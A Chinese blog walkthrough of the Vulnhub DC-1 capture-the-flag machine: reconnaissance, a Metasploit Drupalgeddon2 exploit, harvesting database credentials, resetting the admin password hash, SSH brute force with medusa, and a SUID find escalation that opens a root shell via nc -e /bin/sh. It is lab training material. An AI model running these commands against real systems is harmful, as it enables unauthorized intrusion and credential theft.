写在前面:本站内容仅供技术交流分享,切勿非法使用,一切技术后果自行承担
Vulnhub 简介
Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。
网址:https://www.vulnhub.com 。
靶机下载地址: https://www.vulnhub.com/entry/dc-1-1,292/
主机渗透系统:kali-linux-2020
涉及渗透技术:
nmap, whatweb 等信息收集 msf 漏洞扫描和攻击 shell 反弹 数据库修改 find -exec; 提权
题目描述:
0x01 搭建靶机环境
直接把下载下来的靶机解压,用Vmware或VirtualBox打开,注意网络配置,使渗透机器和靶机在同一个网段中,这里我们选择的是NAT模式 :即共用主机的IP地址
渗透主机和靶机均选择NAT模式,共享IP地址,建立在同一网段内
渗透主机和靶机均选择NAT模式,共享IP地址,建立在同一网段内
注意这个靶机是让你直接渗透进去的,所以他没有告诉你登陆密码......博主太菜了,之前找了半天的密码www
0x02 信息收集
step1:获取渗透主机ip地址
ifconfig
## ifconfig 不行的话就 sudo ifconfig
## 这里我们可以看到,主机的地址为:192.168.80.128
主机IP
主机IP
step2:获取局域网存活主机ip,即获取靶机ip
sudo arp-scan -l
# 如果执行失败可以先 sudo apt install arp-scan
局域网IP
局域网IP
靶机IP可能为以上四个,然后我们通过一点点网关知识(或者逐个测试) 可以确定靶机的IP为:192.168.80.139
step3:靶机端口扫描
nmap 192.168.80.139 -p 1-65535 -sV
# 扫描全部端口,康康靶机开放了哪些服务
nmap扫描
nmap扫描
step4:扫描框架:
whatweb 192.168.80.139
whatweb扫描
whatweb扫描
或者直接浏览器访问一下
好大一个Drupal
好大一个Drupal
step5:目录扫描
dirb http://192.168.80.139
扫描目录
扫描目录
目前已知信息:
0x03 通过MSF寻找漏洞攻击
Metasploit 是很强大的漏洞查找工具 ,而且kali自带 Metasploit
step1:命令行输入 msfconsole
打开 Metasploit 控制台
msf控制台
msf控制台
step2:寻找Drupal框架相关漏洞
search Drupal
drupal框架可以直接利用的漏洞
drupal框架可以直接利用的漏洞
然后我们通过几次简单的尝试,发现exploit/unix/webapp/drupal_drupalgeddon2
可以利用,我们使用该模块
(啊好吧其实是一个一个试过来的,发现前面的都不行)
use exploit/unix/webapp/drupal_drupalgeddon2
show options
康康这个模块需要哪些参数
康康这个模块需要哪些参数
我们注意 Required 这个地方,把它标记为 "yes" 的参数配置一下:rhost
(如果第一次使用可能需还要配置 lhost 和 lport,即监听机的ip和端口)
set rhost 192.168.80.139
# 这里的 rhost 即我们直接扫描发现的靶机ip
set lhost 192.168.80.129
# 之前 ifconfig 得到的主机ip
set lport 4444
# 随便设一个端口,不要被占用就行
配置参数
配置参数
然后 run
一下(或者 exploit
也行)
如果看到以下内容说明漏洞攻击成功了,建立了远程连接
成功建立会话
成功建立会话
getshell一下,拿到shell,并通过python反弹 bash:
shell
python -c 'import pty;pty.spawn("/bin/bash")'
# python反弹bash
此时我们已经拿到了shell
此时我们已经拿到了shell
0x04 寻找flag
flag1:
ls 一下,你就知道:
flag1直接明文给出
flag1直接明文给出
Every good CMS needs a config file - and so do you.
flag1提示
flag2:
“每一个好的内容管理系统 都需要一个配置文件”——配置文件里面肯定有东西
cd sites
cd default
ls
# 此时可以看到一个 settings.php
网站配置文件在 /sites/default/ 中
网站配置文件在 /sites/default/ 中
cat settings.php
# 此时我们可以看到 flag2 以及数据库的用户名和密码
flag2 已找到
flag2 已找到
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
flag3:
flag2 暗示我们:暴力攻击也许不是唯一方式
同时我们看到了数据库的库名(drupaldb)、用户名(dbuser)和密码(R0ck3t),先记录下来,并通过这个用户登陆数据库:
mysql -udbuser -pR0ck3t
# 登陆数据库
use drupaldb;
# 使用 drupaldb 数据库
成功登陆数据库
成功登陆数据库
通过查询 users 表我们可以看到两个用户:admin 和 Fred,但是密码经过了哈希加密
select * from users;
查询users表
查询users表
用户信息
用户信息
继续查询,康康有没有有用的信息:(没错,我就是一个一个查过去的......
select * from node,role;
可以看到flag3的title
可以看到flag3的title
既然 flag3 在表里面,那访问后台肯定能直接翻出来,现在开始尝试登陆管理员后台
结合 flag2 的提示,通过非暴力手段进入,第一个反应应该就是修改密码了
于是百度一下 “忘记Drupal数据库密码怎么办”
先退出数据库,进入/var/www/目录,直接使用它的加密脚本加密我们需要的密码:
cd /var/www/
php scripts/password-hash.sh 123 > pwd.txt
cat pwd.txt
# 进入可写目录,创建pwd.txt文件,并查看内容
得到"123"的哈希
得到"123"的哈希
进入数据库,修改admin密码:
mysql -udbuser -pR0ck3t
# 进入数据库
use drupaldb;
# 使用 drupaldb 数据库
update users set pass = '$S$DRX6M.nvrKxrvQvj4kef1/pbQR0FzL1paS4sStmNxlFhADzUxvRe' where name = 'admin';
# 将密码改为123
truncate flood;
# 如果错误密码太多被锁定的话,这条语句可以解除锁定
此时数据库管理员密码已改为"123"
此时数据库管理员密码已改为"123"
用户名:admin
密码:123
登陆后台,寻找content,寻找flag3
此时看到flag3
此时看到flag3
flag3内容
flag3内容
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
flag3提示我们使用 find 执行操作
find / -type f -perm -u=s 2>/dev/null
发现find命令被设置为suid权限位,可以以root权限执行命令
发现find命令被设置为suid权限位,可以以root权限执行命令
这个先放一边,我们再康康有没有其他有用信息。
flag4:
查看一下用户:
cat /etc/passwd
发现一个名为 flag4 的用户
发现一个名为 flag4 的用户
试试能不能直接访问:
cd /home/flag4
ls
cat flag4.txt
发现能直接访问......
(其实还有一一种办法进入flag4,回到kali终端,暴力破解:
medusa -M ssh -h 192.168.80.139 -u flag4 -P /usr/share/john/password.lst -e ns -F
暴力破解flag4
暴力破解flag4
最后得到flag4 的用户密码为orange (出题人是有多喜欢橘子......)
然后ssh登陆flag4:
ssh flag4@192.168.80.139
ssh登陆flag4
ssh登陆flag4
查看flag4
查看flag4
Can you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy. Or maybe it is?
flag4 提示:能否提权为root
finalflag:
结合我们flag3的提示,find有执行权限,我们可以通过find提权:
网上其他骚造作很多,这里直接使用nc 反弹shell :
find flag4.txt -exec nc -lvp 2333 -e /bin/sh \;
# 靶机开启监听
靶机开启监听
靶机开启监听
nc 192.168.80.139 2333
# 回到渗透主机,进入连接
以root身份进入连接
以root身份进入连接
进入root文件夹,查看最终flag:
finalflag
finalflag
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7
小结
菜狗博主的DC靶机第一次实践,看起来很简单,实际上找方法找了很久......以后还得多加练习QAQ
这次学到了原来find可以这么骚......
今天分享就到这里,下次再更新后续靶机攻击过程
笔芯
笔芯
Comments | 4 条评论
为啥你用password-hash.sh脚本用的是php命令?这不是shell脚本吗,还有就是这个靶机的php环境应该是有问题的吧,执行会报错,你是之前登录靶机修改了吗
@小白 诶,我当时居然没注意
……不过直接php是可以运行的,我下次找到靶机来看一下 
但是我的靶机环境没问题耶,我直接从官网链接下的,没做任何修改就开始日了(x)
printf("我是抠脚大汉");
System.println("我是抠脚大汉");
print("我是抠脚大汉")
console.log("我是抠脚大汉")
echo "我是抠脚大汉";
fmt.Print("我是抠脚大汉");
@小白 好家伙,大意了,我的锅,应该先加好友的(x